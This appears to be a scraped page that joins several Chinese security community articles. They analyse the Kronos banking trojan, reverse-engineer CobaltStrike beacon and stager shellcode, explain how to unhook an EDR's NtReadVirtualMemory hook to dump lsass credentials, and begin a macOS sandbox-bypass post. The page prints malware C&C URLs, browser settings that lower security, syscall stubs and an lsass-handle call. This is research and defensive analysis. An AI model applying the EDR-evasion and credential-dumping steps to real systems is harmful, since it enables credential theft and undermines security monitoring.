|
##### 译文声明
本文是翻译文章，文章来源：malwarebytes.com
原文地址：<https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**背景**
****
2014年6月，一个用户名为VinnyK的人用俄语在某黑市网站上首次售卖 **Kronos** 恶意软件：
资料来源：<https://twitter.com/x0rz/status/893191612662153216>
该帖子的全文已经被翻译成英文，并收录在[ **IBM的安全智能文章**](http://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/)中。
我们发现Kronos
恶意软件通过各种网络攻击包传播，例如Sundown（详情点击[这里](https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/)）。截至目前，该恶意软件仍然在疯狂的传播，[ **一个月前我们还捕获了通过Rig
EK传播的一些最新的样本**](https://zerophagemalware.com/2017/07/14/rig-ek-delivers-kronos-banker/)。
如今，Kronos经常用于下载其他恶意软件。[Proofpoint文章中描述了](https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware)网络攻击者如何使用Kronos作为下载器进行网络攻击活动。
**分析样本**
****
**2014年捕获到的样本：**
[01901882c4c01625fd2eeecdd7e6745a](https://www.virustotal.com/en/file/3bd4b8caf9ae975bd41dbee1f1719cf7be3efa4f52b8768aba30ba9a40569008/analysis/)
首次观察到的Kronos样本（感谢[Kevin Beaumont](https://twitter.com/GossiTheDog)）
f085395253a40ce8ca077228c2322010
从[Lexsi文章中](https://www.lexsi.com/securityhub/overview-kronos-banking-malware-rootkit/?lang=en)获取到的样本
[a81ba5f3c22e80c25763fe428c52c758](https://virustotal.com/en/file/4181d8a4c2eda01094ca28d333a14b144641a5d529821b0083f61624422b25ed/analysis/1502307205/)
Kronos（最终有效载荷）
[6c64c708ebe14c9675813bf38bc071cf](https://virustotal.com/en/file/ea216cede2a1eff5d76a2f8258d4a89d822f45c3951c5a4734c16ce163153a8f/analysis/1502307222/)
injlib-client.dll（Kronos模块）
**样本＃1（2016年）**
[2452089b4a9d889f94843430a35fa34f
](https://virustotal.com/en/file/e420e521f891c1a6245e377dc7a6ab70458b7c0d77ad39535cb59018a542fe15/analysis/)
（加壳的）
[9818958e65a0a71e29a2f5e7ffa650ca](https://virustotal.com/en/file/aad98f57ce0d2d2bb1494d82157d07e1f80fb6ee02dd5f95cd6a1a2dc40141bc/analysis/)
Kronos（最终有效载荷）
**样本＃2（2017年）**
[de9ab737905e09b69b28dc0999d08894](https://virustotal.com/en/file/ffc1cfe4cfa36477ead629bd1a2c6ffb266502c3261b85de431137da411320a8/analysis/)
– 加壳的
[4f5006835669d72c6ce121e66b3034d7](https://virustotal.com/en/file/0457d848132769424673221e3eb598dc2711bcebd3b5d44d1b0bdcb5b7d27f95/analysis/1502119116/)
加载器（第二阶段）
[b8986fe9e40f613804aee29b34896707](https://virustotal.com/en/file/cd5c2bb8d7d3ba9dc522dae112133956096ffae465a7b21c8f3d3124d070f675/analysis/1502119090/)
Kronos（最终有效载荷）
[cb7e33e5ede49301e7cd9218addd5c29](https://virustotal.com/#/file/f9601f695ee80b14e7ecf3c1988bacade7f50f6886f1a89c6f98d0b162959709/details)
– DLL模块
**行为分析**
****
运行后，Kronos恶意软件自动安装在一个新的文件夹中（ **%APPDATA%/Microsoft/[machine-specific GUID]**
），如下图所示：
恶意软件支持开机自启动，该功能是通过注册表中一个简单的Run键来实现的，如下图所示：
在开始执行阶段，恶意软件会修改Firefox的配置文件，使用下面的内容覆盖user.js文件中的内容：
user_pref（“network.cookie.cookieBehavior”，0）;
user_pref（“privacy.clearOnShutdown.cookies”，false）;
user_pref（“security.warn_viewing_mixed”，false）;
user_pref（“security.warn_viewing_mixed.show_once”，false）;
user_pref（“security.warn_submit_insecure”，false）;
user_pref（“security.warn_submit_insecure.show_once”，false）;
user_pref（“app.update.auto”，false）;
user_pref（“browser.safebrowsing.enabled”，false）;
user_pref（“network.http.spdy.enabled”，false）;
user_pref（“network.http.spdy.enabled.v3”，false）;
user_pref（“network.http.spdy.enabled.v3-1”，false）;
user_pref（“network.http.spdy.allow-push”，false）;
user_pref（“network.http.spdy.coalesce-hostnames”，false）;
user_pref（“network.http.spdy.enabled.deps”，false）;
user_pref（“network.http.spdy.enabled.http2”，false）;
user_pref（“network.http.spdy.enabled.http2draft”，false）;
user_pref（“network.http.spdy.enforce-tls-profile”，false）;
user_pref（“security.csp.enable”，false）;
这个新的设置能够使恶意软件更好地控制浏览器的行为并降低安全设置。然后，恶意软件自动注入到 **svchost**
进程中，并从那里继续运行。值得注意的是，Kronos部署了一个简单的[用户级rootkit](https://blog.malwarebytes.com/threat-analysis/2016/12/simple-userland-rootkit-a-case-study/)，它将被感染的进程从监视工具中隐藏起来。因此，运行主模块的进程不能被监视到。然而，该rootkit没有以非常可靠的方式实现，并且隐藏效果并不好。一旦发现受感染机器上安装了浏览器，Kronos恶意软件便会将其模块注入到浏览器进程中，并将注入的模块与运行在
**svchost** 进程内中的主模块建立连接。使用监视工具（例如 **ProcessExplorer**
）查看由特定进程建立的TCP连接，我们可以看到浏览器与受感染的 **svchost** 进程成对出现：
银行木马经常使用这个技巧来窃取浏览器中的数据。注入到浏览器中的恶意软件通过hook
API函数来窃取数据。之后，将窃取到的数据发送到其他模块进行分析处理，并将处理的结果发送给C&C服务器。
**网络通信**
****
从样本数据中找到以下两个C&C服务器的地址：
http://springalove.at:80/noix/connect.php
http://springahate.at:80/noix/connect.php
在分析的过程中我们发现，这两个个C&C服务器都已经无法访问，但是我们仍然可以发现这个恶意软件家族的典型特征。
首先，恶意软件发送长度为74字节的标识：
然后发送一大块数据：
通过分析这两个请求，我们发现恶意软件作者使用带有随机字符的XOR操作对请求做了混淆处理。下图是标识字段经过XOR解码后的样子：
我们发现恶意软件发出的所有请求都是以固定的数据头开始，该数据头中包含了被感染机器的GUID。
关于解密Kronos通信的详细研究已经在[这里](https://www.lexsi.com/securityhub/kronos-decrypting-the-configuration-file-and-injects/?lang=en)进行了描述。
**有趣的字符串**
****
像大多数恶意软件一样，Kronos恶意软件使用了各种加壳和加密工具。分析第一层数据之后后，我们得到了恶意软件的payload。我们可以通过典型的字符串轻松识别Kronos：
该恶意软件中有更多典型的字符串可以用来标识它：
这些字符串是一些哈希值，用于动态加载特定导入模块中的函数。恶意软件作者使用这种方法来混淆使用的API函数，并通过这种方式隐藏其工具的真正意图。该恶意软件不使用显式名称来加载函数，它通过枚举特定DLL中的所有导入，计算其名称的hash值，如果hash与硬编码值匹配，则加载该函数。尽管这种做法很常见，但Kronos的实施并不“高明”。大多数恶意软件以
**DWORD** 形式的hash存储，而Kronos将它们存储为字符串。
在Kronos的早期样本中，我们可以找到调试符号的路径，该调试符号信息揭示构建代码的机器上的目录结构。以下路径是从一个Kronos的样本（01901882c4c01625fd2eeecdd7e6745a）中提取的：
C:UsersRootDesktopkronosVJF1BinariesReleaseVJF.1.pdb
PDB路径也可以从属于2014年Kronos发行版的DLL（[6c64c708ebe14c9675813bf38bc071cf](https://virustotal.com/en/file/ea216cede2a1eff5d76a2f8258d4a89d822f45c3951c5a4734c16ce163153a8f/analysis/1502307222/)）中找到：
C:UsersRootDownloadsKronos2VJF1Botinjlibbininjlib-client-Releaseinjlib-client.pdb
**injlib-client.dll**
这个模块是注入到浏览器中的部分模块代码。在较新版本的Kronos中，可以找到类似的DLL，但是PDB路径被删除了。
**注入svchost**
****
Kronos的主要模块被注入到svchost进程（从2014年开始注入到explorer进程中）。恶意软件通过执行以下步骤来实现这种注入：
1\. 创建挂起的svchost进程
2\. 将其部分代码映射到自己的地址空间中
3\. 添加自己的代码并修改入口点，以便重定向执行自己的代码
4\. 恢复挂起的进程，让注入的代码执行
通过下面的图，我们可以看到被感染的svchost进程的内存分布情况（在早期版本中，恶意代码被注入到浏览器中），恶意软件被添加到一个新的、虚拟的PE节中-在给定的示例中，映射地址为0x70000：
上图就是修改svchost进程入口点后的结果，我们可以看到，执行被重定向到PE文件节内的地址中去了：
注入的PE文件现在以不同的函数开始执行：
恶意软件的原始入口点地址为RVA 0x12F22：
如果恶意软件在检测到在VM或调试器的情况下运行，样本则会在注入后不久崩溃。
**从新的入口点运行样本**
****
恶意软件的主要操作在注入模块内部启动，下图所示为样本的新入口点：
主要功能是负责加载导入恶意软件所需的模块，然后执行导入的各个功能。
从上图可以看出，函数的第一块代码主要是负责填写注入模块的导入表。如果我们想要从新的入口点运行样本，而不是在样本注入后，我们需要关注下面一些事情：首先，装载器应该在注入的可执行文件中填充一些变量，例如
**module_base** 变量。由于其他函数需要使用这些变量，如果不包含有效值，恶意软件样本在运行时会崩溃。此外，导入表中（除了 **.rdata**
节）填充的函数需要设置为可写，这是因为完整的PE文件以RWX访问权限映射到内存中，因此恶意软件样本在注入之后也需要被设置为可写入。
其实，从主函数的下一个代码块也可以成功运行Kronos样本，在这种情况下Windows加载程序会自动填充导入表，而不需要我们手动的去执行填充操作。
下面我们来看一看恶意软件是如何绕过安全检测的。
**防御技巧**
****
恶意软件通过多次检测运行环境来部署防御。这些检查是非常标准的，例如搜索黑名单的进程，模块等。特定的一系列检查从下图中的一个函数调用开始，并将结果存储在一个变量中：
如果检测到调试器或者是VM，则该变量被赋予非零值，并且恶意软件会崩溃以及中断分析。
虽然恶意软件是一个32位的PE文件，但在32位或64位系统上会有不同的执行路径，因此恶意软件首先回去探测目标系统的指纹信息并设置一个标志位用来标识目标系统的体系架构：
DWORD is_system64_bit()
{
DWORD flag = 0;
__asm {
xor eax, eax
mov ax, cs
shr eax, 5
mov flag, eax
};
return flag;
}
如果检测到 **调试器** 或者是 **VM** ，则表示架构的标志位会被重置：
**这就是为什么一旦执行路径参数被设置，样本就会在下一步崩溃的原因** 。例如，如果样本部署在64位机器上，可以使用 **FS:[0xC0]**
指定的地址来执行系统调用。但如果恶意软件在32位计算机上运行， **FS:[0xC0]** 指示的值将为NULL，因此如果调用它将会导致样本崩溃。
在检测到VM或者调试器之后， **样本不会立即退出，这在一定程度上加大了分析人员找出崩溃的原因的难度，这也正是这种中断分析方法的高明之处** 。
**使用原始系统调用**
****
如前一段所述，Kronos使用原生系统调用。Syscall基本上意味着允许从用户模式调用内核实现的一些功能接口。应用程序通常通过系统DLL导出的API（可以在[EvilSocket的博客](https://www.evilsocket.net/2014/02/11/on-windows-syscall-mechanism-and-syscall-numbers-extraction-methods/)上找到的详细说明）来使用它们。由于监视工具可以轻松的检测到这些系统DLL导出这些API调用，因此一些恶意软件在实现上只是偷偷读取DLL中的系统调用号，并且通过它自己的代码来调用它们，这个技巧已经被[Floki
bot](https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/)使用了。
我们来看看它是如何在Kronos中实现的。首先，它从系统DLL中获取系统调用号。如前所述，函数通过其名称的哈希值来标识（[Lexsi报告](https://www.lexsi.com/securityhub/overview-kronos-banking-malware-rootkit/?lang=en)中有详细的阐述）。
例如：
B6F6X4A8R5D3A7C6 - > NtQuerySystemInformation
系统调用号存储在变量中，并使用一个常数做了XOR混淆。下图中的代码片段负责从DLL中提取原始系统调用：
为了进一步使用它们，对于每一个使用过的系统调用程序，Kronos使用适当数量的参数来实现自己的包装函数，如下图所示：
EAX寄存器包含系统调用号，在给定的例子中，它代表以下函数：
00000105 - > NtQuerySystemInformation
一般情况下，由于与进程注入相关的函数通常会触发警报，因此Kronos使用原始系统调用来调用它们，通过这种方式调用的函数如下所示：
NtAllocateVirtualMemory
NtCreateFile
NtCreateSection
NtGetContextThread
NtOpenProcess
NtProtectVirtualMemory
NtQueryInformationProcess
NtQuerySystemInformation
NtResumeThread
NtSetContextThread
NtSetValueKey
它与黑市中的那篇帖子中提到的“ 木马使用未被检测到的注入方法 ”（[来源](http://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/)）内容相匹配。
**Rootkit和hooking引擎**
****
Kronos 恶意软件提供的另一个功能是用户级rootkit，它通过
hook进程的API使得安全检测工具无法注意到它的存在。它的hook是通过一个特制的shellcode块来实现的，这些块被植入每个可访问的运行过程中，具体操作流程如下所示：首先，Kronos准备要植入的shellcode块，并填写所有必要的数据，其中包括要使用的函数地址以及恶意软件安装过程中产生的需要隐藏的特殊数据；然后，它会搜索正在运行的进程，并尽可能地至此那个注入操作。有趣的是，
**explorer.exe** 和 **chrome.exe** 被跳过了：
shellcode被部署在受感染进程的新线程中：
下面可以看到被感染进程内存中的shellocode：
运行时，它将会对受感染进程的地址空间中的以下函数执行hook操作：
ZwCreateFile
NtOpenFile
ZwQueryDirectoryFile
NtEnumerateValueKey
RtlGetNativeSystemInformation
NtSetValueKey
ZwDeleteValueKey
ZwQueryValueKey
NtOpenProcess
Kronos上面的实现与[MalwareTech在2015年1月的博客](https://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-2.html)上描述的一个hook引擎相似。通过对Kronos
hook引擎的分析，我们发现Kronos的这一部分确实来源于MalwareTech的想法。然而，事实证明，这种技术早就出现了（即在[这里](http://www.rohitab.com/discuss/topic/33771-patch-hook/?p=10062694)，//感谢 [@xorsthings](https://twitter.com/xorsthings)的链接）。
在执行hooking操作期间很有可能会遇到并发的问题，因为如果对一个函数正在执行修改操作的同时另一个线程也需要调用这个函数，那么就会导致应用程序将崩溃。因此为了避免这种情况，最好通过单个汇编指令来执行hook操作。MalwareTech引擎中使用
**lock cmpxch8b** 指令来完成这个目的，类似的实现可以在Kronos中找到。
通过分析我们发现Kronos恶意软件使用的hooking函数需要两个参数：要hook的函数地址以及用作代理的函数地址，下图所示的是植入的shellcode中的一个代码片段，在该代码片段中hooking函数被调用：
首先，hooking函数在被攻击函数的代码中搜索合适的位置以用来执行hook操作：
以上代码功能的实现可以在github上找到：
<https://github.com/MalwareTech/BasicHook/blob/master/BasicHook/hook.cpp#L103>
然后，恶意软件执行hook操作：
我们发现，MalwareTech github上的代码实现和上述执行的hook操作几乎相同：
<https://github.com/MalwareTech/BasicHook/blob/master/BasicHook/hook.cpp#L77>
下图所示的是Kronos恶意软件对ZwResumeThread函数执行hook操作的一个例子，从图中我们可以看到， **lock cmpxch8b**
指令确实被用来修改函数开始的代码：
Hook操作完成后，每当受感染的进程调用被hook的函数时，执行将重定向到恶意模块中的代理代码：
Kronos使用的hook机制整体看起来更加复杂，因为Kronos恶意软件使用的是一个shellcode而不是一个PE文件，在实现上难度就已经很高了，恶意软件作者必须自己填写所有的函数地址。而且，Kronos的作者在预测现实场景可能碰到的问题上也表现出更多的经验。例如，他特别注意检查代码是否没有被其他木马或监控工具hook：
**攻击浏览器**
****
Kronos恶意软件将一个额外的模块（ **injlib-client.dll**
）注入到浏览器，下面我们可以看到一个注入到Firefox地址空间的一个DLL的例子：
恶意软件在前期注入的shellcode的帮助下启动注入模块：
通过分析我们可以发现，恶意软件对被攻击浏览器导入的一些函数执行了hook操作，以便通过它们的所有数据都能够被Kronos模块截获到，然后将被挂钩
API抓取的数据发送到主模块，主模块在分析和处理之后将数据报告给C&C服务器。
**结论**
****
总体来说，Kronos的使用技巧表明，该作者在制作恶意软件方面具有丰富的经验。恶意软件的实现上代码是完全混淆的，并且还需要熟悉操作系统的一些底层操作技巧。作者不仅使用了有趣的技巧，而且还以合适的逻辑和方式将它们连接起来，因此我们觉得，Kronos恶意软件是由一个经验丰富的开发人员开发的。 | 社区文章 |
# 深度分析CobaltStrike（一）—— Beacon生成流程及Shellcode分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 项目框架
首先拿到网上流传的破解版CobaltStrike4.1，并针对项目进行反编译，可以看到项目目录如下
代码目录较多，由于需要分析的是Beacon的生成，因此我们暂时只关心以下几个目录
* aggressor(主要负责构建CobaltStrike的GUI功能)
* beacon(beacon上线以及后续交互等一系列行为的具体实现)
* stagers(生成各类不同的stagers shellcode)
* common(可以理解成utils，包含一些常用功能的实现)
## 上线流程
在正式开始分析之前，先要对CS(CobaltStrike，后续简称CS)的机制有一个直观的认识，这里借用gcow团队的一张图进行讲解
当我们通过TeamServer生成了beacon文件后，并在靶机上执行该文件，会产生以下行为
* 靶机主动请求生成beacon时所选择的Listener
* 攻击者通过TeamServer发现目标机器已上线
* 借助TeamServer下发指令给beacon执行(异步或同步)
## Beacon生成
### Stage&Stageless
首先需要清楚的是，Beacon的生成有两种模式
* stage (有阶段)
* stageless (无阶段)
所谓的stage(有阶段)，指的是Beacon会分段的加载shellcode(具体表现为，通过不断的向Listener发起请求，最终获取一个完整的shellcode并执行)，stageless(无阶段)，则是在生成时则包含完整的shellcode。
### 流程分析
由于stage和stageless的生成流程相似，所以接下以stage的生成为例，来跟进代码进行分析，首先是`WindowsExecutableDialog`这个类，其作用是处理`Windows
Executable`这个会话框的action，有两个主要的函数，一个是`dialogAction`，一个是`dialogResult`，其中`dialogResult`是回调函数。
`dialogAction`整体的处理流程非常简单，通过调用当前`Listener`的`getPayloadStager`函数，获取对应的shellcode，跟进分析，最终调用的函数为`GenericStager`的`generate`
可以看到`GenericStager`是一个抽象类，`generate`是接口，这里以`Listener`为http为例，跟进到`GenericHTTPStager`的`generate`中
通过`getStagerFile`获取shellcode的模板文件
跟进后发现读取的是`resources/httpstager64.bin`文件 (后面会单独分析该文件)
继续跟进`GenericHTTPStager`的`generate`函数，首先`new`了一个`Packer`类，通过阅读该类的函数可知，该类用于操作二进制文件。继续往下走，可以看到反复使用`Packer`类替换了shellcode的端口/Header/URI等
shellcode生成后，会调用`dialogResult`回调函数进行处理，其中传入的`var1`为`generate`生成的Shellcode，这里以64位exe为例，继续跟进`patchArtifact`函数
首先去`resources`目录下取了`artifact.exe`文件的模板
通过生成随机数`var6`，异或之前传入的shellcode，并找到1024个A所在的位置(需要替换为shellcode)的位置，将异或后的shellcode写入，最终生成完整的PE文件
### Beacon外壳分析
将生成的`artifact.exe`拖到IDA里面分析，首先找到main函数
在`main`函数中，先后调用了`sub_402A60`和`sub_401795`两个函数，直接跟进`sub_401795`进行分析
可以看到先初始化了变量`Buffer`，格式为`%c%c%c%c%c%c%c%c%cMSSE-%d-server`，然后调用`CreateThread`执行`sub_401605`函数，跟进分析
先前格式化的`Buffer`名称，在`sub_4015D0`中被用于创建命名管道，然后将`lpBuffer`中的值写入到管道中，而传入的`lpBuffer`，实际指向`unk_404014`
回到`sub_401795`中，继续往下走，在return的时候调用了`sub_401742`
在`sub_4016A2`中，将之前写入管道的数据读到了`v0`当中
将读出的数据传入到函数`sub_40152E`中，针对该数据进行解异或操作，然后将其作为参数传入`CreateThread`，走到这里可以判断，先前写入管道的数据，即为异或后的shellcode
对比先前的`_patchArtifact`函数以及IDA反编译后，解异或所用的数据`unk_404014`，可以发现是温和的，后面正好跟了两个值为0的`dword`
### Shellcode分析
首先调用`LoadLibrary`加载`wininet.dll`，其中rbp所指向的函数`sub_160001`为寻找加密哈希所对应的函数，此处`726774C`对应的为`LoadLibrary`
紧接着调用`IntenetOpenUrlA`传入了5个NULL值
紧接着调用`InternetConnectW`连接先前`CobaltStrike Listener`中配置的IP
`InternetConnectW`返回的句柄，传入到`HttpOpenRequestW`中，对应的url为`C2zn`
使用`HttpSendRequestA`发送请求，并设置请求头
通过`InternetReadFile`循环读取C2的数据，并写入到用`VirtualAlloc`申请的内存中，读取完毕后，跳转到写入数据所在的地址并执行
### 通过hash调用函数
上文所有的函数调用，都是通过将hash写入到`r10d`中，再交由`sub_160001`进行判断，那`sub_160001`是怎么判断的呢？
将参数压入栈后，做了一系列的寻址操作。首先是`gs:[rdx+60]`，`gs`这个段寄存器，代表的是`TEB`的地址(线程环境变量块)
`TEB`偏移0x60的地方，是`PEB`(进程环境变量块)，接着寻址了`PEB`偏移0x18的地址
`PEB`偏移0x18的地方，是`Ldr`，而`Ldr`，存放了进程所加载的动态链接库的信息
`PEB`偏移0x20的地方是`InMemoryOrderModuleList`，这是一个双向链表，每个指针都指向一个`_LDR_DATA_TABLE_ENTRY`结构
由于`InMemoryOrderModuleList`指向的是`_LDR_DATA_TABLE_ENTRY`中的`InMemoryOrderLinks`而非首地址，因此
`ds:[rdx+20]`指向的是`DllBase`，也就是Dll的基地址
`ds:[rdx+3C]`则是`IMAGE_DOS_HEADER`中的`e_lfanew`，它指向了实际的PE头
`ds:[rax+18]`指向`OptionalHeader`，该结构首地址指向了一个魔数，代表PE文件的类型(32/64)，因此`cmp word ptr
ds:[rax+18],20B`用于判断PE文件类型
接着将`ds:[rax+88]`的地址存到`eax`中，而`ds:[rax+88]`实际指向`DataDirectory`(0x18+0x70=0x88)
`DataDirectory`数组的第一个元素就是导出表，因此此时`eax`中的地址为导出表的地址
`ds:[rax+18]`和`ds:[rax+20]`分别对应函数的数量以及导出表的RVA
接着就是遍历导出表，计算函数hash，判断跟传入的hash是否一致，如果一致则调用
## 总结
本篇文章深入的剖析了`Beacon`生成流程及`Shellcode`分析，后面的文章会着重分析CS的通信流程以及`Beacon`的模块加载，以及基于这些深度分析的免杀思考 | 社区文章 |
# 如何绕过EDR的内存保护机制
##### 译文声明
本文是翻译文章，文章原作者 fsx30，文章来源：medium.com
原文地址：<https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在最近一次内部渗透过程中，我遇到了某款EDR（端点检测与响应）产品。这款产品可以保护lsass的内存空间，导致我无法使用Mmimikatz来导出明文凭据。
ProcDump工具也无法导出lsass内存，如上图所示。
## 二、误入歧途
之前我也是一名恶意软件开发者，因此知道可以使用某些方法，通过驱动绕过这种检测和保护策略。我首先想到的是[Obregistercallback](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-obregistercallbacks)，这是许多反病毒软件经常使用的一个函数。由于许多反病毒产品在winapi
hook方面处理得不是特别好，因此微软推出了这个回调函数。然而在MSDN页面的底部，大家可以注意到这一句话：“该函数可以在Windows Vista
with Service Pack 1 (SP1)、Windows Server 2008以及更高版本上使用”。这里我面对的是Windows Server
2003系统。因此，我们无法使用这个函数来完成该任务。
经过数小时奋战后，我在`csrss.exe`上使用了一些“黑科技”，尝试通过`csrss.exe`继承`lsass.exe`的句柄，最终我成功获得了`lsass.exe`的一个`PROCESS_ALL_ACCESS`句柄。我使用的具体方法是滥用`csrss.exe`来生成一个子进程，然后继承`lsass`的已有的句柄。
然而，正当我以为大功告成时，却发现事情没有那么简单。这款EDR产品会阻止我们将shellcode注入`csrss`，也无法通过`RtlCreateUserThread`创建线程。然而由于某些原因，虽然代码无法以子进程方式执行并继承句柄，但仍然可以通过某种方式获得`lsass.exe`的`PROCESS_ALL_ACCESS`句柄。
这究竟是为什么？
别着急，我们可以尝试先使用一句简单的代码来获得`lsass.exe`的句柄：
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsasspid);
结果是我竟然能成功获得具备完全控制权的`lsass.exe`句柄，EDR并没有限制这个行为。此时我才意识到，一开始我的研究方向就是错的，EDR并不禁止我们获取句柄，但获得句柄后的下一步操作会受到严格控制。
## 三、回到正轨
既然我们能获得完整权限的`lsass.exe`句柄，现在我们可以继续前进，寻找下一个问题。如果我们立即使用该句柄来调用`MiniDumpWriteDump()`，则会操作失败。
让我们进一步分析这个警告：“Violation:
LsassRead”（“违规：LsassRead”）。我并没有读取任何数据，为什么会出现这个提示？我只是想转储进程而已。然而，如果想转储远程进程，`MiniDumpWriteDump()`中必须要调用某些WINAPI（如`ReadProcessMemory`，即RPM）。这里我们可以来看一下[ReactOS](https://doxygen.reactos.org/d8/d5d/minidump_8c.html#a9a74c45722230d9f89a34fd843050937)中的`MiniDumpWriteDump`源码。
如上图所示，（2）处的`dump_exception_info()`以及其他许多函数都需要依赖（3）处的RPM函数，而（1）处的`MiniDumpWriteDump`会引用到这些函数，这可能就是我们问题的根源。现在我们的经验就可以派上用场，我们需要知道Windows系统的内部原理，也要知道系统如何处理WINAPI。这里我们以`ReadProcessMemory`为例来说明。
`ReadProcessMemory`只是一个封装函数，其中会执行各种健全性检查（如检查是否存在`nullptr`），这就是RPM的功能。然而，RPM还会调用`NtReadVirtualMemory`，后者在执行`syscall`之前会先设置寄存器。`syscall`指令会通知CPU进入内核模式，然后调用同样名为`NtReadVirtualMemory`的另一个函数，该函数会实际执行`ReadProcessMemory`所需完成的操作。
— — — — — -Userland — — — —- — — — | — — — Kernel Land — — — —
RPM — > NtReadVirtualMemory --> SYSCALL->NtReadVirtualMemory
Kernel32 — — -ntdll — — — — — — — — — - — — — — — ntoskrnl
了解这一点后，我们现在必须澄清这款EDR产品如何检测并阻止我们调用RPM/`NtReadVirtualMemory`。答案非常简单：就是hook。大家可以参考我之前的一篇<a
href=”https://medium.com/[@fsx30](https://github.com/fsx30 "@fsx30")/vectored-exception-handling-hooking-via-forced-exception-f888754549c6″>文章了解关于hook更多信息。简而言之，我们可以利用hook，将代码插入任何函数中，也能获取函数参数以及返回值。我非常确定这款EDR使用了我之前提到的某种hook技术。
然而，大家应该知道大多数EDR产品会使用服务（特别是运行在内核模式中的驱动）。具备内核模式的访问权限后，驱动就可以在RPM的各级调用栈中执行hook操作。然而，如果任何驱动能够轻易hook任何级别的函数，这样也会在Windows环境中留下一个巨大的安全漏洞。因此，微软提出了一个解决方案来避免这种篡改行为，也就是所谓的Kernel
Patch Protection（KPP或者Patch
Guard）。KPP基本上会扫描内核中的每个级别，如果检测到篡改操作，则会触发BSOD（蓝屏）。这种机制也会覆盖负责WINAPI内核级逻辑的`ntoskrnl`。了解这些知识后，我们可以肯定EDR并不会hook调用栈中任何内核级的函数，因此可以把重点放在用户模式下的RPM以及`NtReadVirtualMemory`。
## 四、Hook分析
为了澄清这些函数在我们应用程序内存中的具体位置，我们只需使用`printf`，以函数名为参数，通过`%p`格式化输出该信息即可，如下所示：
然而，与RPM不同的是，`NtReadVirtualMemory`并不是`ntdll`中的导出函数，因此我们无法以正常方式引用该函数。我们必须指定函数的原型，并将`ntdll.lib`引入我们的工程中，如下图所示：
一切准备就绪后，我们可以运行应用程序，观察输出结果：
现在，我们已经能够获取RPM以及`NtReadVirtualMemory`的具体地址，然后我会使用我最喜欢的逆向分析工具（即Cheat
Engine）来读取相应内存，分析这部分结构。
`ReadProcessMemory`：
`NtReadVirtualMemory`：
RPM函数看上去一切正常，该函数会设置某些栈和寄存器值，然后在`Kernelbase`中调用`ReadProcessMemory`（这是另一个话题）。顺着这条路走，我们最终会进入`ntdll`的`NtReadVirtualMemory`。然而，如果我们观察`NtReadVirtualMemory`，并且知道detour
hook的基本样式，我们就知道这里存在一些异常。该函数的前5个字节已经被修改，其余字节保持原样。我们可以观察该函数附近的其他类似函数来发现这一点。其他函数的格式非常相似，如下所示：
0x4C, 0x8B, 0xD1, // mov r10, rcx; NtReadVirtualMemory
0xB8, 0x3c, 0x00, 0x00, 0x00, // eax, 3ch — 即syscall的编号
0x0F, 0x05, // syscall
0xC3 // retn
这里不同的地方在于`syscall`的调用号（用来标识内核模式下需要调用哪个WINAPI函数）。然而，对于`NtReadVirtualMemory`，第一条指令实际上是一条`JMP`指令，会跳转到内存中的另一个地址。我们可以跟进这个地址：
跟进后我们并没有停留在`ntdll`模块内，而是位于`CyMemdef64.dll`模块中，现在我们终于找到目标了。
EDR在原始的`NtReadVirtualMemory`函数内设置了一条跳转指令，将代码执行流重定向到自己的模块中，然后检查是否存在恶意行为。如果没通过检查，则`Nt*`函数就会返回一个错误代码，永远不会进入内核模式，导致执行失败。
## 五、绕过限制
现在我们已经澄清EDR如何检测并阻止我们调用WINAPI，但我们如何绕过这个限制？这里可以采用两种解决方案：
### 重新打补丁
我们知道`NtReadVirtualMemory`函数的原始形态，因此我们可以使用正确的指令覆盖`jmp`指令。这样就可以避免我们的调用被`CyMemDef64.dll`拦截，最终进入EDR无法控制的内核模式。
### Ntdll IAT Hook
我们也能够创建自己的函数，具体功能与重新打补丁类似，但我们并没有覆盖被hook的函数，而是在其他地方重新创建该函数。然后，我们可以遍历`ntdll`的导入地址表（IAT），获取`NtReadVirtualMemory`对应的指针，将其指向我们新创建的`fixed_NtReadVirtualMemory`函数。这种方法的优点在于，如果EDR决定检查hook机制是否正常，就会发现hook机制并没有被修改。目标函数永远不会被调用，而`ntdll`的IAT已经指向其他位置。
## 六、处理结果
我选择使用第一种方法，这种方法比较简单，能让我快速完成任务。然而，第二种方法也不难，我准备在随后几天实现该方法。
经过处理后，我们的`AndrewSpecial.exe`程序再也不会被拦截，如下图所示：
## 七、总结
本文介绍的方法适用于这款EDR，然而，我们也可以逆向分析其他EDR产品，根据这些产品的限制机制开发通用的绕过方式，这一点并不难，因为这些产品毕竟不能hook所有目标函数（这里再次感谢KPP）。
此外，这种方法同样适用于64位（已在所有Windows版本上测试过）和32位系统（未经测试），大家可以访问[此处](https://github.com/hoangprod/AndrewSpecial/tree/master)下载源代码。 | 社区文章 |
# 如何绕过Mojave沙箱限制
原文：<https://objective-see.com/blog/blog_0x39.html>
## 0x00 概述
在本文中，我将详细介绍一个微不足道的隐私问题，尽管苹果公司已经试图解决这个问题（力度并不大），但沙箱应用程序还是可以通过这些技术暗中监视毫无戒心的用户，这些技术甚至能在最新版本的macOS系统上使用！
注意：这个问题最早在Objective-See的Mac安全会议上公布，相关议题为[Objective by the
Sea](https://objectivebythesea.com/)。本文更深入地探讨了相关技术细节。演讲文稿请参考[Protecting the
Garden of Eden](https://objectivebythesea.com/talks/OBTS_v1_Wardle.pdf)。
## 0x01 背景
从安全和隐私的角度来看，沙箱是一个很好的解决办法。
